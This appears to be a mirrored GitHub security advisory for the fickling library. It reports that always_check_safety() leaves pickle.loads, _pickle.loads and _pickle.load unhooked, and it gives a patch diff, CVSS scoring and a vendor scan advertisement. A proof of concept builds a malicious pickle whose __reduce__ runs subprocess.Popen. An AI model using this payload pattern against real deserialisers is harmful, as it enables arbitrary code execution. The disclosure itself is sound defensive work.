🛡️ GHSA-wccx-j62j-r448 — fickling
Description
Fickling has always_check_safety() bypass: pickle.loads and _pickle.loads remain unhooked
# Assessment
The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.
# Original report
Summary
fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.
Affected versions
<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)
Non-duplication check against published Fickling GHSAs
No published advisory covers hook-coverage bypass in run_hook().
Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.
Root cause
run_hook() patches only:
pickle.loadpickle.Unpickler_pickle.Unpickler
It does not patch:
pickle.loads_pickle.load_pickle.loads
Reproduction (clean upstream)
```python
import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError
class Payload:
def __reduce__(self):
import subprocess
return (subprocess.Popen, (['echo','BYPASS'],))
data = pickle.dumps(Payload())
fickling.always_check_safety()
# Bypass path
with patch('subprocess.Popen') as popen_mock:
pickle.loads(data)
print('bypass sink called?', popen_mock.called) # True
# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
try:
pickle.load(io.BytesIO(data))
except UnsafeFileError:
pass
print('blocked sink called?', popen_mock.called) # False
```
Observed on vulnerable code:
pickle.loadsexecutes payloadpickle.loadis blocked
Minimal patch diff
```diff
--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
def run_hook():
- pickle.load = loader.load
+ pickle.load = loader.load
+ _pickle.load = loader.load
+ pickle.loads = loader.loads
+ _pickle.loads = loader.loads
```
Validation after patch
pickle.loads,_pickle.loads, and_pickle.loadall raiseUnsafeFileError- sink not called in any path
Regression tests added locally:
test_run_hook_blocks_pickle_loadstest_run_hook_blocks__pickle_load_and_loads
in test/test_security_regressions_20260303.py
Impact
High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
GHSA-wccx-j62j-r448 is classified as CWE-693: Protection Mechanism Failure. A protection exists but does not cover the case at hand, so it can be worked around.
Affected software
GHSA-wccx-j62j-r448 is recorded against 1 package.
- fickling (fixed in 0.1.9)
Timeline and source
Published on 4 March 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| fickling | — | 0.1.9 |
References
Similar Threats
- High CVE-2026-14534
- High CVE-2026-14535
- Unknown GHSA-5cxw-w2xg-2m8h
- Unknown GHSA-r48f-3986-4f9c
- High GHSA-5hwf-rc88-82xm
Site Security Check
Is fickling part of your stack?
GHSA-wccx-j62j-r448 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.